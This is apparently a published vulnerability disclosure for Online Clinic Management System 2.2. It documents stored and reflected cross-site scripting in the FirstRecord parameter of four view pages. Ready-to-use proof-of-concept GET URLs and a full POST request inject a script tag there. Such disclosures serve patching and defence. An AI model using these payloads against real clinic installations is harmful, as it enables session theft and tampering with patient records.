Online Clinic Management System 2.2 - Multiple Stored Cross-Site Scripting Vulnerabilities

# Exploit Title: Online Clinic Management System 2.2 - Multiple Stored Cross-Site Scripting (XSS)
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://bigprof.com
# Software Download Link :
https://bigprof.com/appgini/applications/online-clinic-management-system
# Version : 2.2
# Category: Webapps
# Tested on: Windows 7 64 Bits / Windows 10 64 Bits
# CVE :
# Category: webapps

# Vulnerability Type: Stored Cross-Site Scripting

1. Description

Online Clinic Management System 2.2, does not sufficiently encode
user-controlled inputs, resulting in a stored Cross-Site Scripting (XSS)
vulnerability via the /clinic/medical_records_view.php, in FirstRecord
parameter, GET and POST request.


2. Proof of Concept

GET:
http://127.0.0.1/clinic/medical_records_view.php?SelectedID=2&record-added-ok=5781&SortField=&SortDirection=&FirstRecord=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&DisplayRecords=all&SearchString=

POST:
POST http://127.0.0.1/clinic/medical_records_view.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: multipart/form-data;
boundary=---------------------------1512016725878
Content-Length: 1172
Origin: https://127.0.0.1
Connection: keep-alive
Referer: https://127.0.0.1/clinic/medical_records_view.php
Cookie: online_clinic_management_system=bnl1ht0a4n7snalaoqgh8f85b4;
online_clinic_management_system.dvp_expand=[%22tab_medical_records-patient%22%2C%22tab_events-name_patient%22]
Upgrade-Insecure-Requests: 1
Host: 127.0.0.1

-----------------------------1512016725878
Content-Disposition: form-data; name="current_view"

DVP
-----------------------------1512016725878
Content-Disposition: form-data; name="SortField"


-----------------------------1512016725878
Content-Disposition: form-data; name="SelectedID"

1
-----------------------------1512016725878
Content-Disposition: form-data; name="SelectedField"


-----------------------------1512016725878
Content-Disposition: form-data; name="SortDirection"


-----------------------------1512016725878
Content-Disposition: form-data; name="FirstRecord"

"><script>alert(1);</script>
-----------------------------1512016725878
Content-Disposition: form-data; name="NoDV"


-----------------------------1512016725878
Content-Disposition: form-data; name="PrintDV"


-----------------------------1512016725878
Content-Disposition: form-data; name="DisplayRecords"

all
-----------------------------1512016725878
Content-Disposition: form-data; name="patient"


-----------------------------1512016725878
Content-Disposition: form-data; name="SearchString"


-----------------------------1512016725878--


1. Description

Online Clinic Management System 2.2, does not sufficiently encode
user-controlled inputs, resulting in a stored Cross-Site Scripting (XSS)
vulnerability via the /clinic/patients_view.php, in FirstRecord parameter.


2. Proof of Concept

http://127.0.0.1/clinic/patients_view.php?SelectedID=1&record-added-ok=11536&SortField=&SortDirection=&FirstRecord=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&DisplayRecords=all&SearchString=


And Reflected Cross-Site Scripting (XSS) too.
# Vulnerability Type: Reflected Cross-Site Scripting

1. Description

Online Clinic Management System 2.2, does not sufficiently encode
user-controlled inputs, resulting in a Reflected Cross-Site Scripting (XSS)
vulnerability via the /clinic/events_view.php, in FirstRecord parameter.


2. Proof of Concept

http://127.0.0.1/clinic/events_view.php?SelectedID=2&record-added-ok=7758&SortField=&SortDirection=&FirstRecord=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&DisplayRecords=all&SearchString=


1. Description

Online Clinic Management System 2.2, does not sufficiently encode
user-controlled inputs, resulting in a Reflected Cross-Site Scripting (XSS)
vulnerability via the /clinic/disease_symptoms_view.php, in FirstRecord
parameter.


2. Proof of Concept

http://127.0.0.1/clinic/disease_symptoms_view.php?SelectedID=1&record-added-ok=1096&SortField=&SortDirection=&FirstRecord=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&DisplayRecords=all&SearchString=